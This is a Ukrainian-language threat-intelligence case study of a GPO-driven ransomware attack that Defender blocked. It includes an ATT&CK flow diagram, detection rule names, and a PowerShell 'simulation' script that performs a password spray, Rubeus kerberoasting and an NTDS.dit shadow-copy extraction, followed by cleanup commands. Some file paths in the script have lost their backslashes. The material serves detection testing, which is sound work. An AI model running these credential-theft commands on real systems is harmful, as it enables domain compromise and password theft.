Кейс: Як Захисний Щит Системи Захисту Блокував Рансомware на Основі GPO до Виконання
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Microsoft Defender перервав атаку програми-вимагача, керовану людиною, спрямовану на велику освітню організацію, виявивши зловживання Об’єктами групової політики (GPO), які використовувалися для ослаблення налаштувань безпеки та розповсюдження програми-вимагача через заплановані завдання.
Розслідування
Атакуючі скомпрометували обліковий запис адміністратора домену, здійснили перерахування Active Directory, перебрали облікові дані, зібрали квитки Kerberos і дані NTDS, створили шахрайські локальні облікові записи та розгорнули шкідливі GPO, щоб реалізувати політику підробки та ініціювати доставку програми-вимагача через заплановані завдання.
Пом’якшення
Захисний екран Defender передбачив шкідливу активність GPO, забезпечивши тимчасове посилення GPO, заблокувавши розгортання програми-вимагача через заплановані завдання та запобігши шифруванню на 97% пристроїв.
Відповідь
Після виявлення захисники повинні негайно активувати посилення GPO, ізолювати скомпрометовані облікові записи, заблокувати підозрілий SMB-трафік та розслідувати наявність додаткових методів стійкості, включаючи несанкціоноване створення локальних облікових записів.
"graph TB %% Class Definitions classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef builtin fill:#cccccc %% Reconnaissance Nodes recon_action["<b>Дія</b> – Розвідка<br/>Використано AD Explorer для перерахування Active Directory і здійснено вгадування паролів."] class recon_action action recon_brute["<b>Техніка</b> – T1110 Брутфорс: Вгадування паролів<br/><b>Опис</b> Спроби вгадати паролі методом проб та помилок."] class recon_brute technique recon_account["<b>Техніка</b> – T1087.002 Виявлення облікових записів: Домашній обліковий запис<br/><b>Опис</b> Перераховує облікові записи користувачів домену."] class recon_account technique recon_gpo["<b>Техніка</b> – T1615 Виявлення групової політики<br/><b>Опис</b> Отримує налаштування групової політики з контролерів домену."] class recon_gpo technique %% Reconnaissance Connections recon_action –>|використовує| recon_brute recon_action –>|виявляє| recon_account recon_action –>|виявляє| recon_gpo %% Credential Access Nodes action_cred["<b>Дія</b> – Доступ до облікових даних<br/>Виконано Kerberoasting і скинуто NTDS.dit."] class action_cred action tech_kerb["<b>Техніка</b> – T1558.003 Kerberoasting<br/><b>Опис</b> Запити квитків на сервісі та їх злам офлайн."] class tech_kerb technique tech_ntds["<b>Техніка</b> – T1003.003 Скидання облікових даних ОС: NTDS<br/><b>Опис</b> Витягує хеші паролів з бази даних Active Directory."] class tech_ntds technique %% Credential Access Connections action_cred –>|використовує| tech_kerb action_cred –>|використовує| tech_ntds %% Persistence Nodes action_persist["<b>Дія</b> – Стійкість<br/>Створено нові локальні облікові записи на скомпрометованих хостах."] class action_persist action tech_create_local["<b>Техніка</b> – T1136.001 Створення облікового запису: Локальний обліковий запис<br/><b>Опис</b> Додає локальні облікові записи користувачів для безперервного доступу."] class tech_create_local technique %% Persistence Connections action_persist –>|використовує| tech_create_local %% Lateral Movement Nodes action_lateral["<b>Дія</b> – Бічний рух<br/>Використано викрадені облікові дані домену для доступу до віддалених адміністративних шар через SMB."] class action_lateral action tech_smb["<b>Техніка</b> – T1021.002 Віддалені служби SMB/Адміністративні шари Windows<br/><b>Опис</b> Використовує SMB для бічного руху."] class tech_smb technique %% Lateral Movement Connections action_lateral –>|використовує| tech_smb %% Defense Evasion Nodes action_evasion["<b>Дія</b> – Уникання захисту<br/>Розгорнуто шкідливе GPO для відключення Microsoft Defender."] class action_evasion action tech_gpo_mod["<b>Техніка</b> – T1484 Модифікація політики домену або орендаря<br/><b>Опис</b> Змінює Об’єкти групової політики для зміни налаштувань безпеки."] class tech_gpo_mod technique tech_impair["<b>Техніка</b> – T1562.001 Погіршення захисту Відключення чи модифікація інструментів<br/><b>Опис</b> Вимикає або модифікує засоби безпеки."] class tech_impair technique %% Defense Evasion Connections action_evasion –>|модифікація| tech_gpo_mod action_evasion –>|відключення| tech_impair %% Impact Preparation Nodes action_impact["<b>Дія</b> – Підготовка до впливу<br/>Створено заплановане завдання через GPO для копіювання та виконання файлів на всіх машинах домену."] class action_impact action tech_scheduled["<b>Техніка</b> – T1053 Заплановане завдання/Робота<br/><b>Опис</b> Заплановано виконання команд у визначений час."] class tech_scheduled technique tech_cmd["<b>Техніка</b> – T1059.003 Інтерпретатор команд і сценаріїв Windows Command Shell<br/><b>Опис</b> Виконує пакетні файли за допомогою cmd.exe."] class tech_cmd technique tech_rundll["<b>Техніка</b> – T1218.011 Системне виконання бінарного проксі Rundll32<br/><b>Опис</b> Завантажує шкідливі DLL через rundll32.exe."] class tech_rundll technique %% Impact Preparation Connections action_impact –>|створення| tech_scheduled action_impact –>|виконання| tech_cmd action_impact –>|використовує| tech_rundll %% Ransomware Deployment Nodes action_ransom["<b>Дія</b> – Розгортання програми-вимагача<br/>Підготовлено плат, спроби зашифрувати файли; Defender заблокував розповсюдження GPO на багатьох пристроях."] class action_ransom action tech_encrypt["<b>Техніка</b> – T1486 Шифрування даних для впливу<br/><b>Опис</b> Шифрує дані жертви, щоб вимагати викуп."] class tech_encrypt technique %% Ransomware Deployment Connections action_ransom –>|використовує| tech_encrypt %% Загальна секція потоку recon_action –>|приводить до| action_cred action_cred –>|приводить до| action_persist action_persist –>|приводить до| action_lateral action_lateral –>|приводить до| action_evasion action_evasion –>|приводить до| action_impact action_impact –>|приводить до| action_ransom "
Потік атаки
Виявлення
Можлива активність Kerberoasting [кореляція/період_ченка 10 хвилин/по src_ipaddr] (через аудит)
Можливі шаблони інструменту AD Explorer (через cmdline)
Відключення реального часу моніторингу Windows Defender та зміни інших вподобань (через cmdline)
Виявлення перерахування Active Directory та активностей збору облікових даних [Журнал подій безпеки Microsoft Windows]
Виконання симуляції
Передумова: Перевірка телеметрії та базового стану повинна пройти.
Обґрунтування: Цей розділ описує точне виконання техніки супротивника (TTP), розробленої для тригеру правила виявлення. Команди і розповідь повинні безпосередньо відображати ідентифіковані TTP і націлені на генерацію точної телеметрії, що очікується логікою виявлення.
Опис атаки та команди
-
Перерахування Active Directory за допомогою ADExplorer – Атакуючий використовує утиліту living‑off‑the‑land ADExplorer.exe для перегляду бази даних AD, генеруючи подію створення процесу, що відповідає
Образ | закінчується на 'ADExplorer.exe'. -
Брутфорс облікових даних (T1110) – Атакуючий виконує спрей паролями проти облікового запису домену, спричиняючи повторні невдалі спроби входу (Подія 4625) з причиною збою
%#13(“Користувач намагався увійти з ненадійного домену”). -
Kerberoasting (T1558.003) – Використовуючи відкритий вихідний код інструмент Rubeus, атакуючий запитує квитки на обслуговування Kerberos для SPN комп’ютерних облікових записів (наприклад,
HOST01$). Кожен запит отримує Подію 4769 деІм'я сервісузакінчується на$. -
Скид NTDS (T1003.003) – Атакуючий створює копію тіні обсягу системного диска та витягує
NTDS.ditза допомогоюntdsutil, спричиняючи подію 4662 зТип об'єкта = "ds"andТип операції = "Реплікація".
Усі чотири дії виконуються на одному хості протягом 5-хвилинного вікна для емулювання реалістичної фази “збір” після компрометації.
Скрипт регресійного тестування
# -------------------------------------------------
# Симуляційний скрипт – Тригерить всі чотири шляхи виявлення
# -------------------------------------------------
# 1. Виконання ADExplorer (створення процесу)
$adExplorerPath = "$env:ProgramFilesSysinternalsADExplorer.exe"
if (-Not (Test-Path $adExplorerPath)) {
Write-Host "ADExplorer не знайдено – завантажити заповнювач для тестування."
# Імітувати шляхом копіювання будь-якого exe на ім'я, що очікується
Copy-Item "$env:SystemRootSystem32notepad.exe" $adExplorerPath
}
Start-Process -FilePath $adExplorerPath -ArgumentList "/quiet" -WindowStyle Hidden
Start-Sleep -Seconds 5
# 2. Брутфорс спроби входу (4625 з %#13)
$domain = "CONTOSO"
$user = "testuser"
$badPwd = "IncorrectPassword123!"
1..3 | ForEach-Object {
$null = [System.DirectoryServices.AccountManagement.PrincipalContext]::new('Domain', $domain).ValidateCredentials($user, $badPwd)
Start-Sleep -Milliseconds 500
}
# 3. Kerberoasting через Rubeus (вимагає Rubeus.exe у PATH)
$rubeusPath = "$env:ProgramFilesRubeusRubeus.exe"
if (-Not (Test-Path $rubeusPath)) {
Write-Host "Rubeus не знайдено – пропустити крок Kerberoasting."
} else {
& $rubeusPath kerberoast /outfile:"C:Tempkerb_tickets.kirbi"
}
Start-Sleep -Seconds 5
# 4. Витяг NTDS.dit за допомогою VSS (4662 реплікація)
# Створення копії VSS тіні та копіювання NTDS.dit
$shadow = (vssadmin list shadows | Select-String -Pattern "ShadowCopy Volume" -Context 0,1).Line.Split()[-1]
$ntdsSource = "$shadowWindowsNTDSNTDS.dit"
$ntdsDest = "C:TempNTDS_dump.dit"
if (Test-Path $ntdsSource) {
Copy-Item -Path $ntdsSource -Destination $ntdsDest -Force
}
Start-Sleep -Seconds 5
Write-Host "Симуляція завершена. Уся телеметрія повинна бути зібрана."
Команди очищення
# -------------------------------------------------
# Очищення – видаляє артефакти, створені симуляцією
# -------------------------------------------------
# Видалити фальшивий ADExplorer, якщо він був створений
Remove-Item -Path "$env:ProgramFilesSysinternalsADExplorer.exe" -ErrorAction SilentlyContinue
# Видалити дамп Kerberos
Remove-Item -Path "C:Tempkerb_tickets.kirbi" -ErrorAction SilentlyContinue
# Видалити кладичку NTDS
Remove-Item -Path "C:TempNTDS_dump.dit" -ErrorAction SilentlyContinue
# Очистити будь-які створені тіньові копії (вимагає адміністратора)
# vssadmin delete shadows /all /quiet
Write-Host "Очищення завершено."